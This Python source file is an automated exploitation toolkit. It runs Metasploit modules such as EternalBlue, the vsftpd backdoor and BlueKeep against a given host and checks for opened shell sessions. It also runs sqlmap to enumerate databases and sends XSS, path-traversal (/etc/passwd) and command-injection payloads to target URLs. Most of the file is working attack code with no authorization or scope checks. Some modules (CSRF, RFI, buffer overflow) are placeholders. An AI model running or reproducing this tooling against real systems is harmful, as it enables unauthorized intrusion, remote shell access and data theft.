#!/usr/bin/env python3
"""
Exploitation Tools - Exploit database, Metasploit wrapper, specialized exploiters
"""

import subprocess
import json
import requests
from typing import Dict, List
import logging
import time

logger = logging.getLogger(__name__)


class ExploitDatabase:
    """Exploit database search and management"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.db_path = "/usr/share/exploitdb"
    
    def search(self, service: str, version: str = None) -> List[Dict]:
        """Search for exploits"""
        logger.info(f"Searching exploits for: {service} {version or ''}")
        
        exploits = []
        
        try:
            cmd = ['searchsploit', service]
            if version:
                cmd.append(version)
            
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=30
            )
            
            # Parse searchsploit output
            for line in result.stdout.split('\n'):
                if '|' in line and not line.startswith('-'):
                    parts = line.split('|')
                    if len(parts) >= 2:
                        exploits.append({
                            "title": parts[0].strip(),
                            "path": parts[1].strip(),
                            "module": self._path_to_module(parts[1].strip())
                        })
        
        except Exception as e:
            logger.error(f"Exploit search error: {e}")
        
        return exploits
    
    def _path_to_module(self, path: str) -> str:
        """Convert exploit path to module name"""
        return path.replace('/', '.').replace('.rb', '').replace('.py', '')


class MetasploitWrapper:
    """Metasploit Framework wrapper"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.msf_path = config.get('tools', {}).get('metasploit', '/usr/bin/msfconsole')
    
    def exploit(self, target: str, vulnerability: Dict) -> Dict:
        """Execute Metasploit exploit"""
        logger.info(f"Attempting Metasploit exploit on {target}")
        
        service = vulnerability.get('service', '').lower()
        port = vulnerability.get('port', 0)
        
        # Map service to exploit module
        module = self._select_module(service, vulnerability)
        
        if module:
            return self.run_exploit(module, target, port)
        
        return {"success": False, "message": "No suitable module found"}
    
    def _select_module(self, service: str, vulnerability: Dict) -> str:
        """Select appropriate Metasploit module"""
        modules = {
            'smb': 'exploit/windows/smb/ms17_010_eternalblue',
            'ssh': 'auxiliary/scanner/ssh/ssh_login',
            'ftp': 'exploit/unix/ftp/vsftpd_234_backdoor',
            'http': 'auxiliary/scanner/http/dir_scanner',
            'mysql': 'auxiliary/scanner/mysql/mysql_login',
            'postgres': 'auxiliary/scanner/postgres/postgres_login',
            'rdp': 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
        }
        
        return modules.get(service)
    
    def run_exploit(self, module: str, target: str, port: int = None) -> Dict:
        """Run specific Metasploit module"""
        logger.info(f"Running module: {module}")
        
        result = {
            "success": False,
            "module": module,
            "target": target,
            "output": "",
            "shell_access": False
        }
        
        try:
            # Build MSF resource script
            resource_script = self._build_resource_script(module, target, port)
            
            # Execute via msfconsole
            cmd = [self.msf_path, '-q', '-r', resource_script]
            proc = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=300
            )
            
            result["output"] = proc.stdout
            
            # Check for successful exploitation
            if 'session opened' in proc.stdout.lower():
                result["success"] = True
                result["shell_access"] = True
                result["shell_info"] = self._extract_shell_info(proc.stdout)
        
        except Exception as e:
            logger.error(f"Metasploit execution error: {e}")
            result["error"] = str(e)
        
        return result
    
    def _build_resource_script(self, module: str, target: str, port: int = None) -> str:
        """Build MSF resource script"""
        script_path = f"/tmp/msf_resource_{int(time.time())}.rc"
        
        script_content = f"""use {module}
set RHOST {target}
"""
        
        if port:
            script_content += f"set RPORT {port}\n"
        
        script_content += """set ExitOnSession false
exploit -z
exit
"""
        
        with open(script_path, 'w') as f:
            f.write(script_content)
        
        return script_path
    
    def _extract_shell_info(self, output: str) -> Dict:
        """Extract shell session information"""
        return {
            "type": "meterpreter",
            "established": True
        }


class WebExploiter:
    """Web application exploitation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def exploit(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit web vulnerabilities"""
        vuln_type = vulnerability.get('type')
        
        if vuln_type == 'xss':
            return self._exploit_xss(target, vulnerability)
        elif vuln_type == 'csrf':
            return self._exploit_csrf(target, vulnerability)
        elif vuln_type == 'lfi':
            return self._exploit_lfi(target, vulnerability)
        elif vuln_type == 'rfi':
            return self._exploit_rfi(target, vulnerability)
        
        return {"success": False, "message": "Unknown vulnerability type"}
    
    def _exploit_xss(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit XSS vulnerability"""
        payloads = [
            '<script>alert(1)</script>',
            '<img src=x onerror=alert(1)>',
            '<svg onload=alert(1)>'
        ]
        
        for payload in payloads:
            try:
                response = requests.get(
                    f"{target}?{vulnerability.get('parameter')}={payload}",
                    timeout=10
                )
                
                if payload in response.text:
                    return {
                        "success": True,
                        "vulnerability": "XSS",
                        "payload": payload
                    }
            except:
                continue
        
        return {"success": False}
    
    def _exploit_csrf(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit CSRF vulnerability"""
        return {"success": False, "message": "CSRF exploitation placeholder"}
    
    def _exploit_lfi(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit Local File Inclusion"""
        payloads = [
            '../../../etc/passwd',
            '....//....//....//etc/passwd',
            '/etc/passwd'
        ]
        
        for payload in payloads:
            try:
                response = requests.get(
                    f"{target}?file={payload}",
                    timeout=10
                )
                
                if 'root:' in response.text:
                    return {
                        "success": True,
                        "vulnerability": "LFI",
                        "payload": payload,
                        "data": response.text[:500]
                    }
            except:
                continue
        
        return {"success": False}
    
    def _exploit_rfi(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit Remote File Inclusion"""
        return {"success": False, "message": "RFI exploitation placeholder"}


class SQLInjector:
    """SQL Injection exploitation"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.sqlmap_path = config.get('tools', {}).get('sqlmap', '/usr/bin/sqlmap')
    
    def exploit(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit SQL injection"""
        logger.info(f"Attempting SQL injection on {target}")
        
        result = {
            "success": False,
            "vulnerability": "SQL Injection",
            "databases": [],
            "tables": [],
            "dumped_data": []
        }
        
        try:
            # Basic SQLMap scan
            cmd = [
                self.sqlmap_path,
                '-u', target,
                '--batch',
                '--random-agent',
                '--dbs'
            ]
            
            proc = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=300
            )
            
            if 'available databases' in proc.stdout.lower():
                result["success"] = True
                result["databases"] = self._extract_databases(proc.stdout)
        
        except Exception as e:
            logger.error(f"SQL injection error: {e}")
            result["error"] = str(e)
        
        return result
    
    def _extract_databases(self, output: str) -> List[str]:
        """Extract database names from SQLMap output"""
        databases = []
        
        for line in output.split('\n'):
            if '[*]' in line and len(line.strip()) > 4:
                db_name = line.split('[*]')[1].strip()
                if db_name and not db_name.startswith('available'):
                    databases.append(db_name)
        
        return databases


class RCEExploiter:
    """Remote Code Execution exploitation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def exploit(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit RCE vulnerability"""
        logger.info(f"Attempting RCE on {target}")
        
        # Test various RCE payloads
        payloads = [
            '; id',
            '| id',
            '`id`',
            '$(id)',
            '; whoami',
            '| whoami'
        ]
        
        for payload in payloads:
            try:
                response = requests.get(
                    f"{target}?cmd={payload}",
                    timeout=10
                )
                
                # Check for command execution indicators
                if any(x in response.text.lower() for x in ['uid=', 'gid=', 'root', 'www-data']):
                    return {
                        "success": True,
                        "vulnerability": "RCE",
                        "payload": payload,
                        "output": response.text[:500]
                    }
            except:
                continue
        
        return {"success": False}


class BufferOverflowExploiter:
    """Buffer overflow exploitation"""
    
    def __init__(self, config: Dict):
        self.config = config
    
    def exploit(self, target: str, vulnerability: Dict) -> Dict:
        """Exploit buffer overflow"""
        logger.info(f"Attempting buffer overflow on {target}")
        
        # This is a complex topic - placeholder for demonstration
        return {
            "success": False,
            "message": "Buffer overflow exploitation requires specific target analysis"
        }